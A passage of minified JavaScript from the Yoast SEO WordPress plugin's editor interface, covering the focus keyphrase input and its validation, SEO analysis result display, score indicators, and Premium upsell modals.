	}

	&.has-error {
		border-color: ${I} !important;
		background-color: ${M} !important;

		&:focus {
			box-shadow: 0 0 2px ${I} !important;
		}
	}
`,K=d().ul`
	color: ${T};
	list-style-type: disc;
	list-style-position: outside;
	margin: 0;
	margin-left: 1.2em;
`,z=d().li`
	color: ${T};
	margin: 0 0 0.5em 0;
`,H=(0,o.addFocusStyle)(d().button`
		border: 1px solid transparent;
		box-shadow: none;
		background: none;
		flex: 0 0 32px;
		height: 32px;
		max-width: 32px;
		padding: 0;
		cursor: pointer;
	`);H.propTypes={type:i().string,focusColor:i().string,focusBackgroundColor:i().string,focusBorderColor:i().string},H.defaultProps={type:"button",focusColor:C.colors.$color_button_text_hover,focusBackgroundColor:"transparent",focusBorderColor:C.colors.$color_blue};const j=d()(o.SvgIcon)`
	margin-top: 4px;
`,D=d().div`
	display: flex;
	flex-direction: row;
	align-items: center;

	&.has-remove-keyword-button {
		${U} {
			${(0,n.getDirectionalStyle)("padding-right: 40px","padding-left: 40px")};
		}

		${H} {
			${(0,n.getDirectionalStyle)("margin-left: -32px","margin-right: -32px")};
		}
	}
`;class Y extends l.Component{constructor(e){super(e),this.handleChange=this.handleChange.bind(this)}handleChange(e){this.props.onChange(e.target.value)}renderLabel(){const{id:e,label:s,helpLink:r}=this.props;return(0,t.createElement)(q,null,(0,t.createElement)($,{htmlFor:e},s),r)}renderErrorMessages(){const e=[...this.props.errorMessages];return!(0,A.isEmpty)(e)&&(0,t.createElement)(K,null,e.map(((e,s)=>(0,t.createElement)(z,{key:s},(0,t.createElement)("span",{role:"alert"},e)))))}render(){const{id:e,showLabel:s,keyword:r,onRemoveKeyword:o,onBlurKeyword:n,onFocusKeyword:a,hasError:i}=this.props,l=!s,c=o!==A.noop;return(0,t.createElement)(F,null,s&&this.renderLabel(),i&&this.renderErrorMessages(),(0,t.createElement)(D,{className:c?"has-remove-keyword-button":null},(0,t.createElement)(U,{"aria-label":l?this.props.label:null,type:"text",id:e,className:i?"has-error":null,onChange:this.handleChange,onFocus:a,onBlur:n,value:r,autoComplete:"off"}),c&&(0,t.createElement)(H,{onClick:o,focusBoxShadowColor:"#084A67"},(0,t.createElement)(j,{size:"18px",icon:"times-circle",color:O}))))}}Y.propTypes={id:i().string.isRequired,showLabel:i().bool,keyword:i().string,onChange:i().func.isRequired,onRemoveKeyword:i().func,onBlurKeyword:i().func,onFocusKeyword:i().func,label:i().string.isRequired,helpLink:i().node,hasError:i().bool,errorMessages:i().arrayOf(i().string)},Y.defaultProps={showLabel:!0,keyword:"",onRemoveKeyword:A.noop,onBlurKeyword:A.noop,onFocusKeyword:A.noop,helpLink:null,hasError:!1,errorMessages:[]};const W=Y,G=d().div`
	padding: 16px;
	/* Necessary to compensate negative top margin of the collapsible after the keyword input. */
	border-bottom: 1px solid transparent;
`;class V extends l.Component{constructor(e){super(e),this.validate=this.validate.bind(this)}static renderHelpLink(){return(0,t.createElement)(P,{href:wpseoAdminL10n["shortlinks.focus_keyword_info"],className:"dashicons"},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,s.__)("Help on choosing the perfect focus keyphrase","wordpress-seo")))}validate(){const e=[...this.props.errors];return 0===this.props.keyword.trim().length&&this.props.displayNoKeyphraseMessage&&e.push((0,s.__)("Please enter a focus keyphrase first to get related keyphrases","wordpress-seo")),0===this.props.keyword.trim().length&&this.props.displayNoKeyphrasForTrackingMessage&&e.push((0,s.__)("Please enter a focus keyphrase first to track keyphrase performance","wordpress-seo")),this.props.keyword.includes(",")&&e.push((0,s.__)("Are you trying to use multiple keyphrases? You should add them separately below.","wordpress-seo")),this.props.keyword.length>191&&e.push((0,s.__)("Your keyphrase is too long. It can be a maximum of 191 characters.","wordpress-seo")),e}render(){const e=this.validate();return(0,t.createElement)(x.LocationConsumer,null,(o=>(0,t.createElement)("div",{style:"sidebar"===o?{borderBottom:"1px solid #f0f0f0"}:{}},(0,t.createElement)(G,{location:o},(0,t.createElement)(W,{id:`focus-keyword-input-${o}`,onChange:this.props.onFocusKeywordChange,keyword:this.props.keyword,label:(0,s.__)("Focus keyphrase","wordpress-seo"),helpLink:V.renderHelpLink(),onBlurKeyword:this.props.onBlurKeyword,onFocusKeyword:this.props.onFocusKeyword,hasError:e.length>0,errorMessages:e}),this.props.isSEMrushIntegrationActive&&(0,t.createElement)(L,{location:o,keyphrase:this.props.keyword})),(0,t.createElement)(r.Slot,{name:`YoastAfterKeywordInput${o.charAt(0).toUpperCase()+o.slice(1)}`}))))}}V.propTypes={keyword:i().string,onFocusKeywordChange:i().func.isRequired,onFocusKeyword:i().func.isRequired,onBlurKeyword:i().func.isRequired,isSEMrushIntegrationActive:i().bool,displayNoKeyphraseMessage:i().bool,displayNoKeyphrasForTrackingMessage:i().bool,errors:i().arrayOf(i().string)},V.defaultProps={keyword:"",isSEMrushIntegrationActive:!1,displayNoKeyphraseMessage:!1,displayNoKeyphrasForTrackingMessage:!1,errors:[]};const Q=(0,E.compose)([(0,k.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushNoKeyphraseMessage:s,hasWincherNoKeyphrase:r,getFocusKeyphraseErrors:o}=e("yoast-seo/editor");return{keyword:t(),displayNoKeyphraseMessage:s(),displayNoKeyphrasForTrackingMessage:r(),errors:o()}})),(0,k.withDispatch)((e=>{const{setFocusKeyword:t,setMarkerPauseStatus:s}=e("yoast-seo/editor");return{onFocusKeywordChange:t,onFocusKeyword:()=>s(!0),onBlurKeyword:()=>s(!1)}}))])(V);function Z(e){return Z="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},Z(e)}function J(e,t,s){return r=function(e,t){if("object"!=Z(e)||!e)return e;var s=e[Symbol.toPrimitive];if(void 0!==s){var r=s.call(e,"string");if("object"!=Z(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(t),(t="symbol"==Z(r)?r:String(r))in e?Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}):e[t]=s,e;var r}const X=window.yoast.analysis;function ee(e,t=""){const s=e.getIdentifier(),r={score:e.score,rating:X.interpreters.scoreToRating(e.score),hasMarks:e.hasMarks(),marker:e.getMarker(),id:s,text:e.text,markerId:t.length>0?`${t}:${s}`:s,hasBetaBadge:e.hasBetaBadge(),hasJumps:e.hasJumps(),hasAIFixes:e.hasAIFixes(),editFieldName:e.editFieldName};return"ok"===r.rating&&(r.rating="OK"),r}function te(e,t){switch(e.rating){case"error":t.errorsResults.push(e);break;case"feedback":t.considerationsResults.push(e);break;case"bad":t.problemsResults.push(e);break;case"OK":t.improvementsResults.push(e);break;case"good":t.goodResults.push(e)}return t}function se(e){switch(e){case"loading":return{icon:"loading-spinner",color:C.colors.$color_green_medium_light};case"not-set":return{icon:"seo-score-none",color:C.colors.$color_score_icon};case"noindex":return{icon:"seo-score-none",color:C.colors.$color_noindex};case"good":return{icon:"seo-score-good",color:C.colors.$color_green_medium};case"ok":return{icon:"seo-score-ok",color:C.colors.$color_ok};default:return{icon:"seo-score-bad",color:C.colors.$color_red}}}function re(e,t=""){let s={errorsResults:[],problemsResults:[],improvementsResults:[],goodResults:[],considerationsResults:[]};if(!e)return s;for(let r=0;r<e.length;r++){const o=e[r];o.text&&(s=te(ee(o,t),s))}return s}function oe({target:e,children:t}){let s=e;return"string"==typeof e&&(s=document.getElementById(e)),s?(0,l.createPortal)(t,s):null}oe.propTypes={target:i().oneOfType([i().string,i().object]).isRequired,children:i().node.isRequired};const ne=({target:e,scoreIndicator:s})=>(0,t.createElement)(oe,{target:e},(0,t.createElement)(o.SvgIcon,{...se(s)}));ne.propTypes={target:i().string.isRequired,scoreIndicator:i().string.isRequired};const ae=ne,ie=window.yoast.analysisReport,le=window.yoast.uiLibrary,ce=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),de=window.wp.hooks,pe=(d().div`
	min-width: 600px;

	@media screen and ( max-width: 680px ) {
		min-width: 0;
		width: 86vw;
	}
`,d().div`
	@media screen and ( min-width: 600px ) {
		max-width: 420px;
	}
`),ue=(d()(o.Icon)`
	float: ${(0,n.getDirectionalStyle)("right","left")};
	margin: ${(0,n.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};

	&& {
		width: 150px;
		height: 150px;

		@media screen and ( max-width: 680px ) {
			width: 80px;
			height: 80px;
		}
	}
`,"yoast yoast-gutenberg-modal"),me=e=>{const{title:s,className:o,showYoastIcon:n,additionalClassName:a,...i}=e,l=n?(0,t.createElement)("span",{className:"yoast-icon"}):null;return(0,t.createElement)(r.Modal,{title:s,className:`${o} ${a}`,icon:l,...i},e.children)};me.propTypes={title:i().string,className:i().string,showYoastIcon:i().bool,children:i().oneOfType([i().node,i().arrayOf(i().node)]),additionalClassName:i().string},me.defaultProps={title:"Yoast SEO",className:ue,showYoastIcon:!0,children:null,additionalClassName:""};const he=me,ye=()=>[(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,s.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,s.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],ge=d().div`
  padding: 25px 32px 32px;
  color: #303030;
`,we=d().ul`
  margin: 0;
  padding: 0;

  li {
    list-style-image: var(--yoast-svg-icon-check);
    margin: 0.5rem 0 0 1.5rem;
    line-height: 1.4em;

    &::marker {
      font-size: 1.5rem;
    }
  }
`,be=d().span`
  display: block;
  margin-top: 4px;
`,fe=d().h2`
  margin-top: 0;
  margin-bottom: 0.25rem;
  color: #303030;
  font-size: 0.8125rem;
  font-weight: 600;
`,Ee=d().p`
  display: block;
  margin: 0.25rem 0 1rem 0 !important;
  max-width: 420px;
`,ke=d().hr`
  margin-top: 1.5rem;
  margin-bottom: 1rem;
  border-top: 0;
  border-bottom: 1px solid #E2E8F0;
`,xe=d().div`
  text-align: center;
`,_e=d().a`
  width: 100%;
`,ve=(0,n.makeOutboundLink)(_e);class Re extends l.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(e){return e.length>0&&(0,t.createElement)(we,{role:"list"},e.map(((e,s)=>(0,t.createElement)("li",{key:`upsell-benefit-${s}`},(0,l.createInterpolateElement)(e,{strong:(0,t.createElement)("strong",null)})))))}render(){const e=(0,k.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:r}=this.state,o=e?"69.30":null,n=o||r;return(0,t.createElement)(l.Fragment,null,e&&(0,t.createElement)("div",{className:"yst-flex  yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,t.createElement)("div",{className:"yst-mx-auto"},(0,s.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)(ge,null,(0,t.createElement)(fe,null,this.props.title),(0,t.createElement)(Ee,null,this.props.description),(0,t.createElement)(xe,null,(0,t.createElement)(ve,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,t.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,t.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},o&&(0,t.createElement)(l.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},r)," "),(0,t.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},n)," ",(0,s.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,t.createElement)(be,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,t.createElement)(ke,null),(0,t.createElement)(fe,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}Re.propTypes={title:i().node,benefits:i().array,benefitsTitle:i().node,description:i().node,upsellButton:i().object,upsellButtonText:i().string.isRequired,upsellButtonLabel:i().string,upsellButtonHasCaret:i().bool},Re.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const Ne=Re,Be=(0,s.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Se=e=>{const{locationContext:r}=(0,x.useRootContext)(),o=(0,_.addQueryArgs)(wpseoAdminL10n[e.buyLink],{context:r});return(0,t.createElement)(Ne,{title:(0,s.__)("Get more help with writing content that ranks","wordpress-seo"),description:e.description,benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,s.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ye(),upsellButtonText:(0,s.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,s.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:o,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,s.__)("1 year of premium support and updates included!","wordpress-seo")})};Se.propTypes={buyLink:i().string.isRequired,description:i().string},Se.defaultProps={description:Be};const Le=Se;class Ce extends l.Component{constructor(e){super(e);const t=this.props.results;this.state={mappedResults:{}},null!==t&&(this.state={mappedResults:re(t,this.props.keywordKey)}),this.handleMarkButtonClick=this.handleMarkButtonClick.bind(this),this.handleEditButtonClick=this.handleEditButtonClick.bind(this),this.handleResultsChange=this.handleResultsChange.bind(this),this.renderHighlightingUpsell=this.renderHighlightingUpsell.bind(this),this.createMarkButton=this.createMarkButton.bind(this)}componentDidUpdate(e){null!==this.props.results&&this.props.results!==e.results&&this.setState({mappedResults:re(this.props.results,this.props.keywordKey)})}createMarkButton({ariaLabel:e,id:s,className:r,status:n,onClick:a,isPressed:i}){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(o.IconButtonToggle,{marksButtonStatus:n,className:r,onClick:a,id:s,icon:"eye",pressed:i,ariaLabel:e}),this.props.shouldUpsellHighlighting&&(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(le.Badge,{className:"yst-absolute yst-px-[3px] yst-py-[3px] yst--right-[6.5px] yst--top-[6.5px]",size:"small",variant:"upsell"},(0,t.createElement)(ce,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",role:"img","aria-hidden":!0,focusable:!1}))))}deactivateMarker(){this.props.setActiveMarker(null),this.props.setMarkerPauseStatus(!1),this.removeMarkers()}activateMarker(e,t){this.props.setActiveMarker(e),t()}handleMarkButtonClick(e,t){const s=this.props.keywordKey.length>0?`${this.props.keywordKey}:${e}`:e;this.props.activeAIFixesButton&&this.props.setActiveAIFixesButton(null),s===this.props.activeMarker?this.deactivateMarker():this.activateMarker(s,t)}handleResultsChange(e,t,s){const r=this.props.keywordKey.length>0?`${this.props.keywordKey}:${e}`:e;r===this.props.activeMarker&&(s?(0,A.isUndefined)(t)||this.activateMarker(r,t):this.deactivateMarker())}focusOnKeyphraseField(e){const t=this.props.keywordKey,s=""===t?"focus-keyword-input-"+e:"yoast-keyword-input-"+t+"-"+e,r=document.getElementById(s);r.focus(),r.scrollIntoView({behavior:"auto",block:"center",inline:"center"})}focusOnGooglePreviewField(e,t){let s;s="metaDescriptionKeyword"===e||"metaDescriptionLength"===e?"description":"titleWidth"===e||"keyphraseInSEOTitle"===e?"title":"slug";const r=document.getElementById("yoast-google-preview-"+s+"-"+t);r.focus(),r.scrollIntoView({behavior:"auto",block:"center",inline:"center"})}handleEditButtonClick(e){const t=this.props.location;"functionWordsInKeyphrase"!==e&&"keyphraseLength"!==e?(["metaDescriptionKeyword","metaDescriptionLength","titleWidth","keyphraseInSEOTitle","slugKeyword"].includes(e)&&this.handleGooglePreviewFocus(t,e),(0,de.doAction)("yoast.focus.input",e)):this.focusOnKeyphraseField(t)}handleGooglePreviewFocus(e,t){if("sidebar"===e)document.getElementById("yoast-search-appearance-modal-open-button").click(),setTimeout((()=>this.focusOnGooglePreviewField(t,"modal")),500);else{const s=document.getElementById("yoast-snippet-editor-metabox");s&&"false"===s.getAttribute("aria-expanded")?(s.click(),setTimeout((()=>this.focusOnGooglePreviewField(t,e)),100)):this.focusOnGooglePreviewField(t,e)}}removeMarkers(){window.YoastSEO.analysis.applyMarks(new X.Paper("",{}),[])}renderHighlightingUpsell(e,r){const o=(0,s.__)("Highlight areas of improvement in your text, no more searching for a needle in a haystack, straight to optimizing! Now also in Elementor!","wordpress-seo");return e&&(0,t.createElement)(he,{title:(0,s.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:r,additionalClassName:"",className:`${ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-highlighting-modal",shouldCloseOnClickOutside:!0},(0,t.createElement)(pe,null,(0,t.createElement)(Le,{buyLink:this.props.highlightingUpsellLink,description:o})))}render(){const{mappedResults:e}=this.state,{errorsResults:r,improvementsResults:o,goodResults:n,considerationsResults:a,problemsResults:i}=e,{upsellResults:c,resultCategoryLabels:d}=this.props,p={errors:(0,s.__)("Errors","wordpress-seo"),problems:(0,s.__)("Problems","wordpress-seo"),improvements:(0,s.__)("Improvements","wordpress-seo"),considerations:(0,s.__)("Considerations","wordpress-seo"),goodResults:(0,s.__)("Good results","wordpress-seo")},u=Object.assign(p,d);let m=this.props.marksButtonStatus;return"enabled"===m&&this.props.shortcodesForParsing.length>0&&(m="disabled"),(0,t.createElement)(l.Fragment,null,(0,t.createElement)(ie.ContentAnalysis,{errorsResults:r,problemsResults:i,upsellResults:c,improvementsResults:o,considerationsResults:a,goodResults:n,activeMarker:this.props.activeMarker,onMarkButtonClick:this.handleMarkButtonClick,onEditButtonClick:this.handleEditButtonClick,marksButtonClassName:this.props.marksButtonClassName,editButtonClassName:this.props.editButtonClassName,marksButtonStatus:m,headingLevel:3,keywordKey:this.props.keywordKey,isPremium:this.props.isPremium,resultCategoryLabels:u,onResultChange:this.handleResultsChange,shouldUpsellHighlighting:this.props.shouldUpsellHighlighting,renderAIFixesButton:this.props.renderAIFixesButton,renderHighlightingUpsell:this.renderHighlightingUpsell,markButtonFactory:this.createMarkButton}))}}Ce.propTypes={results:i().array,upsellResults:i().array,marksButtonClassName:i().string,editButtonClassName:i().string,marksButtonStatus:i().oneOf(["enabled","disabled","hidden"]),setActiveMarker:i().func.isRequired,setMarkerPauseStatus:i().func.isRequired,setActiveAIFixesButton:i().func.isRequired,activeMarker:i().string,activeAIFixesButton:i().string,keywordKey:i().string,location:i().string,isPremium:i().bool,resultCategoryLabels:i().shape({errors:i().string,problems:i().string,improvements:i().string,considerations:i().string,goodResults:i().string}),shortcodesForParsing:i().array,shouldUpsellHighlighting:i().bool,highlightingUpsellLink:i().string,renderAIFixesButton:i().func},Ce.defaultProps={results:null,upsellResults:[],marksButtonStatus:"enabled",marksButtonClassName:"",editButtonClassName:"",activeMarker:null,activeAIFixesButton:null,keywordKey:"",location:"",isPremium:!1,resultCategoryLabels:{},shortcodesForParsing:[],shouldUpsellHighlighting:!1,highlightingUpsellLink:"",renderAIFixesButton:()=>{}};const Pe=Ce,Ae=(0,E.compose)([(0,k.withSelect)((e=>{const{getActiveMarker:t,getIsPremium:s,getShortcodesForParsing:r,getActiveAIFixesButton:o}=e("yoast-seo/editor");return{activeMarker:t(),isPremium:s(),shortcodesForParsing:r(),activeAIFixesButton:o()}})),(0,k.withDispatch)((e=>{const{setActiveMarker:t,setMarkerPauseStatus:s,setActiveAIFixesButton:r}=e("yoast-seo/editor");return{setActiveMarker:t,setMarkerPauseStatus:s,setActiveAIFixesButton:r}}))])(Pe);function Ie(e){return(0,A.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,s.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,s.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,s.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,s.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,s.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,s.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,s.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,s.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,s.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,s.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,s.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,s.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(X.interpreters.scoreToRating(e))}function Me({target:e,children:s}){return(0,t.createElement)(oe,{target:e},s)}function Oe(){return(0,A.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function Te(){return window.wpseoScriptData&&"1"===window.wpseoScriptData.isBlockEditor}Me.propTypes={target:i().string.isRequired,children:i().node.isRequired};i().string.isRequired;const Fe=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),$e=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),qe=({learnMoreLink:e,thumbnail:r,wistiaEmbedPermission:o,upsellLink:n,isProductCopy:a,title:i,upsellLabel:c,newToText:d,bundleNote:p})=>{const{onClose:u,initialFocus:m}=(0,le.useModalContext)(),h={a:(0,t.createElement)(rt,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)($e,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Ct,{videoId:"vmrahpfjxp",thumbnail:r,wistiaEmbedPermission:o}),(0,t.createElement)(le.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),d))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},i),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},a?(0,l.createInterpolateElement)((0,s.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,s.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h):(0,l.createInterpolateElement)((0,s.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,s.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,t.createElement)(le.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:m},(0,t.createElement)(Fe,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),c,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,s.__)("(Opens in a new browser tab)","wordpress-seo")))),p,(0,t.createElement)(le.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:u},(0,s.__)("Close","wordpress-seo"))))};qe.propTypes={learnMoreLink:i().string.isRequired,upsellLink:i().string.isRequired,thumbnail:i().shape({src:i().string.isRequired,width:i().string,height:i().string}).isRequired,wistiaEmbedPermission:i().shape({value:i().bool.isRequired,status:i().string.isRequired,set:i().func.isRequired}).isRequired,title:i().string,upsellLabel:i().string,newToText:i().string,isProductCopy:i().bool,bundleNote:i().oneOfType([i().string,i().element])},qe.defaultProps={title:(0,s.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,s.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,s.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const Ue=({learnMoreLink:e,thumbnail:r,wistiaEmbedPermission:o,upsellLink:n,upsellLabel:a})=>{const{onClose:i,initialFocus:c}=(0,le.useModalContext)(),d={a:(0,t.createElement)(rt,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)($e,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,t.createElement)("br",null)};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Ct,{videoId:"vun9z1dpfh",thumbnail:r,wistiaEmbedPermission:o}),(0,t.createElement)(le.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,s.__)("Beta","wordpress-seo-premium"))),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,s.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,s.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,l.createInterpolateElement)((0,s.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,s.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),d))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,t.createElement)(le.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:c},(0,t.createElement)(Fe,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),a,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
